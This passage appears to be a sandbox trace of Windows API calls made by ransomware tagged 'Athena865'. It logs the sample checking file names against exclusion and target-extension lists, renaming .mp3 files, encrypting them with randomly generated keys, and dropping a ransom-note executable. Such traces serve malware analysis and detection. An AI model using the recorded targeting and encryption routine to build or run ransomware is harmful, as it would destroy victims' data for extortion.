lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1 [0102.186] lstrlenW (lpString="ora") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1 [0102.186] lstrlenW (lpString="orx") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1 [0102.186] lstrlenW (lpString="owc") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1 [0102.186] lstrlenW (lpString="p96") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1 [0102.186] lstrlenW (lpString="p97") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1 [0102.186] lstrlenW (lpString="pan") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1 [0102.186] lstrlenW (lpString="pdb") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1 [0102.186] lstrlenW (lpString="pdm") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1 [0102.187] lstrlenW (lpString="pnz") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1 [0102.187] lstrlenW (lpString="qry") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1 [0102.187] lstrlenW (lpString="qvd") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1 [0102.187] lstrlenW (lpString="rbf") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1 [0102.187] lstrlenW (lpString="rctd") returned 4 [0102.187] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1 [0102.187] lstrlenW (lpString="rod") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1 [0102.187] lstrlenW (lpString="rodx") returned 4 [0102.187] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1 [0102.187] lstrlenW (lpString="rpd") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1 [0102.187] lstrlenW (lpString="rsd") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1 [0102.187] lstrlenW (lpString="sas7bdat") returned 8 [0102.187] lstrcmpiW (lpString1="hukU.mp3", lpString2="sas7bdat") returned -1 [0102.187] lstrlenW (lpString="sbf") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1 [0102.187] lstrlenW (lpString="scx") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1 [0102.187] lstrlenW (lpString="sdb") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1 [0102.187] lstrlenW (lpString="sdc") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1 [0102.187] lstrlenW (lpString="sdf") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1 [0102.187] lstrlenW (lpString="sis") returned 3 [0102.187] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1 [0102.187] lstrlenW (lpString="spq") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1 [0102.188] lstrlenW (lpString="te") returned 2 [0102.188] lstrcmpiW (lpString1="p3", lpString2="te") returned -1 [0102.188] lstrlenW (lpString="teacher") returned 7 [0102.188] lstrcmpiW (lpString1="ukU.mp3", lpString2="teacher") returned 1 [0102.188] lstrlenW (lpString="tmd") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1 [0102.188] lstrlenW (lpString="tps") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1 [0102.188] lstrlenW (lpString="trc") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0102.188] lstrlenW (lpString="trc") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0102.188] lstrlenW (lpString="trm") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1 [0102.188] lstrlenW (lpString="udb") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1 [0102.188] lstrlenW (lpString="udl") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1 [0102.188] lstrlenW (lpString="usr") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1 [0102.188] lstrlenW (lpString="v12") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1 [0102.188] lstrlenW (lpString="vis") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1 [0102.188] lstrlenW (lpString="vpd") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1 [0102.188] lstrlenW (lpString="vvv") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1 [0102.188] lstrlenW (lpString="wdb") returned 3 [0102.188] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1 [0102.188] lstrlenW (lpString="wmdb") returned 4 [0102.188] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1 [0102.189] lstrlenW (lpString="wrk") returned 3 [0102.189] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1 [0102.189] lstrlenW (lpString="xdb") returned 3 [0102.189] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1 [0102.189] lstrlenW (lpString="xld") returned 3 [0102.189] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1 [0102.189] lstrlenW (lpString="xmlff") returned 5 [0102.189] lstrcmpiW (lpString1="U.mp3", lpString2="xmlff") returned -1 [0102.189] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\k FhukU.mp3.Athena865") returned 80 [0102.189] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\k FhukU.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\k fhuku.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\k FhukU.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\k fhuku.mp3.athena865"), dwFlags=0x1) returned 1 [0102.190] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\k FhukU.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\k fhuku.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0102.190] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=86137) returned 1 [0102.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.190] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.191] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.191] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.191] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15380, lpName=0x0) returned 0x154 [0102.191] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15380) returned 0x100000 [0102.194] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.195] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.195] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0102.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0102.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.196] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.196] CloseHandle (hObject=0x154) returned 1 [0102.197] CloseHandle (hObject=0x17c) returned 1 [0102.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.198] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc358c0, ftCreationTime.dwHighDateTime=0x1d4cae3, ftLastAccessTime.dwLowDateTime=0x31049f40, ftLastAccessTime.dwHighDateTime=0x1d4d2bf, ftLastWriteTime.dwLowDateTime=0x31049f40, ftLastWriteTime.dwHighDateTime=0x1d4d2bf, nFileSizeHigh=0x0, nFileSizeLow=0x8198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MDR24S8B2.mp3", cAlternateFileName="MDR24S~1.MP3")) returned 1 [0102.198] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2=".") returned 1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="..") returned 1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="windows") returned -1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="bootmgr") returned 1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="temp") returned -1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="pagefile.sys") returned -1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="boot") returned 1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="ids.txt") returned 1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="ntuser.dat") returned -1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="perflogs") returned -1 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2="MSBuild") returned -1 [0102.199] lstrlenW (lpString="MDR24S8B2.mp3") returned 13 [0102.199] lstrcpyW (in: lpString1=0x241e8be, lpString2="MDR24S8B2.mp3" | out: lpString1="MDR24S8B2.mp3") returned="MDR24S8B2.mp3" [0102.199] lstrlenW (lpString="MDR24S8B2.mp3") returned 13 [0102.199] lstrlenW (lpString="Athena865") returned 9 [0102.199] lstrcmpiW (lpString1="4S8B2.mp3", lpString2="Athena865") returned -1 [0102.199] lstrlenW (lpString=".dll") returned 4 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2=".dll") returned 1 [0102.199] lstrlenW (lpString=".lnk") returned 4 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2=".lnk") returned 1 [0102.199] lstrlenW (lpString=".ini") returned 4 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2=".ini") returned 1 [0102.199] lstrlenW (lpString=".sys") returned 4 [0102.199] lstrcmpiW (lpString1="MDR24S8B2.mp3", lpString2=".sys") returned 1 [0102.199] lstrlenW (lpString="MDR24S8B2.mp3") returned 13 [0102.199] lstrlenW (lpString="bak") returned 3 [0102.199] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0102.199] lstrlenW (lpString="ba_") returned 3 [0102.199] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0102.199] lstrlenW (lpString="dbb") returned 3 [0102.199] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0102.200] lstrlenW (lpString="vmdk") returned 4 [0102.200] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0102.200] lstrlenW (lpString="rar") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0102.200] lstrlenW (lpString="zip") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0102.200] lstrlenW (lpString="tgz") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0102.200] lstrlenW (lpString="vbox") returned 4 [0102.200] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0102.200] lstrlenW (lpString="vdi") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0102.200] lstrlenW (lpString="vhd") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0102.200] lstrlenW (lpString="vhdx") returned 4 [0102.200] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0102.200] lstrlenW (lpString="avhd") returned 4 [0102.200] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0102.200] lstrlenW (lpString="db") returned 2 [0102.200] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0102.200] lstrlenW (lpString="db2") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0102.200] lstrlenW (lpString="db3") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0102.200] lstrlenW (lpString="dbf") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0102.200] lstrlenW (lpString="mdf") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0102.200] lstrlenW (lpString="mdb") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0102.200] lstrlenW (lpString="sql") returned 3 [0102.200] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0102.200] lstrlenW (lpString="sqlite") returned 6 [0102.200] lstrcmpiW (lpString1="B2.mp3", lpString2="sqlite") returned -1 [0102.200] lstrlenW (lpString="sqlite3") returned 7 [0102.201] lstrcmpiW (lpString1="8B2.mp3", lpString2="sqlite3") returned -1 [0102.201] lstrlenW (lpString="sqlitedb") returned 8 [0102.201] lstrcmpiW (lpString1="S8B2.mp3", lpString2="sqlitedb") returned -1 [0102.201] lstrlenW (lpString="xml") returned 3 [0102.201] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0102.201] lstrlenW (lpString="$er") returned 3 [0102.201] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0102.201] lstrlenW (lpString="4dd") returned 3 [0102.201] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0102.201] lstrlenW (lpString="4dl") returned 3 [0102.201] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0102.201] lstrlenW (lpString="^^^") returned 3 [0102.201] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0102.201] lstrlenW (lpString="abs") returned 3 [0102.201] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0102.201] lstrlenW (lpString="abx") returned 3 [0102.201] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0102.201] lstrlenW (lpString="accdb") returned 5 [0102.201] lstrcmpiW (lpString1="2.mp3", lpString2="accdb") returned -1 [0102.201] lstrlenW (lpString="accdc") returned 5 [0102.201] lstrcmpiW (lpString1="2.mp3", lpString2="accdc") returned -1 [0102.201] lstrlenW (lpString="accde") returned 5 [0102.201] lstrcmpiW (lpString1="2.mp3", lpString2="accde") returned -1 [0102.201] lstrlenW (lpString="accdr") returned 5 [0102.201] lstrcmpiW (lpString1="2.mp3", lpString2="accdr") returned -1 [0102.201] lstrlenW (lpString="accdt") returned 5 [0102.201] lstrcmpiW (lpString1="2.mp3", lpString2="accdt") returned -1 [0102.201] lstrlenW (lpString="accdw") returned 5 [0102.201] lstrcmpiW (lpString1="2.mp3", lpString2="accdw") returned -1 [0102.201] lstrlenW (lpString="accft") returned 5 [0102.201] lstrcmpiW (lpString1="2.mp3", lpString2="accft") returned -1 [0102.201] lstrlenW (lpString="adb") returned 3 [0102.201] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.201] lstrlenW (lpString="adb") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.202] lstrlenW (lpString="ade") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0102.202] lstrlenW (lpString="adf") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0102.202] lstrlenW (lpString="adn") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0102.202] lstrlenW (lpString="adp") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0102.202] lstrlenW (lpString="alf") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0102.202] lstrlenW (lpString="ask") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0102.202] lstrlenW (lpString="btr") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0102.202] lstrlenW (lpString="cat") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0102.202] lstrlenW (lpString="cdb") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0102.202] lstrlenW (lpString="ckp") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0102.202] lstrlenW (lpString="cma") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0102.202] lstrlenW (lpString="cpd") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0102.202] lstrlenW (lpString="dacpac") returned 6 [0102.202] lstrcmpiW (lpString1="B2.mp3", lpString2="dacpac") returned -1 [0102.202] lstrlenW (lpString="dad") returned 3 [0102.202] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0102.202] lstrlenW (lpString="dadiagrams") returned 10 [0102.202] lstrcmpiW (lpString1="24S8B2.mp3", lpString2="dadiagrams") returned -1 [0102.202] lstrlenW (lpString="daschema") returned 8 [0102.202] lstrcmpiW (lpString1="S8B2.mp3", lpString2="daschema") returned 1 [0102.203] lstrlenW (lpString="db-journal") returned 10 [0102.203] lstrcmpiW (lpString1="24S8B2.mp3", lpString2="db-journal") returned -1 [0102.203] lstrlenW (lpString="db-shm") returned 6 [0102.203] lstrcmpiW (lpString1="B2.mp3", lpString2="db-shm") returned -1 [0102.203] lstrlenW (lpString="db-wal") returned 6 [0102.203] lstrcmpiW (lpString1="B2.mp3", lpString2="db-wal") returned -1 [0102.203] lstrlenW (lpString="dbc") returned 3 [0102.203] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0102.203] lstrlenW (lpString="dbs") returned 3 [0102.203] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0102.203] lstrlenW (lpString="dbt") returned 3 [0102.203] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0102.203] lstrlenW (lpString="dbv") returned 3 [0102.203] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0102.203] lstrlenW (lpString="dbx") returned 3 [0102.203] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0102.203] lstrlenW (lpString="dcb") returned 3 [0102.203] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0102.203] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0102.203] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\MDR24S8B2.mp3.Athena865") returned 82 [0102.203] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\MDR24S8B2.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\mdr24s8b2.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\MDR24S8B2.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\mdr24s8b2.mp3.athena865"), dwFlags=0x1) returned 1 [0102.204] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\MDR24S8B2.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\mdr24s8b2.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0102.204] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33176) returned 1 [0102.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.205] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.206] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.206] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.206] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84a0, lpName=0x0) returned 0x154 [0102.206] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84a0) returned 0x100000 [0102.207] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.208] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.208] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0102.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0102.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.208] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.209] CloseHandle (hObject=0x154) returned 1 [0102.209] CloseHandle (hObject=0x17c) returned 1 [0102.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.211] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb328e530, ftCreationTime.dwHighDateTime=0x1d4c559, ftLastAccessTime.dwLowDateTime=0xe8bb9dc0, ftLastAccessTime.dwHighDateTime=0x1d4c822, ftLastWriteTime.dwLowDateTime=0xe8bb9dc0, ftLastWriteTime.dwHighDateTime=0x1d4c822, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qQK-iS4jM1s-hist", cAlternateFileName="QQK-IS~1")) returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2=".") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="..") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="windows") returned -1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="bootmgr") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="temp") returned -1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="pagefile.sys") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="boot") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="ids.txt") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="ntuser.dat") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="perflogs") returned 1 [0102.211] lstrcmpiW (lpString1="qQK-iS4jM1s-hist", lpString2="MSBuild") returned 1 [0102.211] lstrlenW (lpString="qQK-iS4jM1s-hist") returned 16 [0102.211] lstrcpyW (in: lpString1=0x241e8be, lpString2="qQK-iS4jM1s-hist" | out: lpString1="qQK-iS4jM1s-hist") returned="qQK-iS4jM1s-hist" [0102.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546190 [0102.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53d720 [0102.211] lstrcatW (in: lpString1="qQK-iS4jM1s-hist", lpString2="\\" | out: lpString1="qQK-iS4jM1s-hist\\") returned="qQK-iS4jM1s-hist\\" [0102.211] lstrcatW (in: lpString1="qQK-iS4jM1s-hist\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="qQK-iS4jM1s-hist\\HOW TO BACK YOUR FILES.exe") returned="qQK-iS4jM1s-hist\\HOW TO BACK YOUR FILES.exe" [0102.211] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\qQK-iS4jM1s-hist\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\qqk-is4jm1s-hist\\how to back 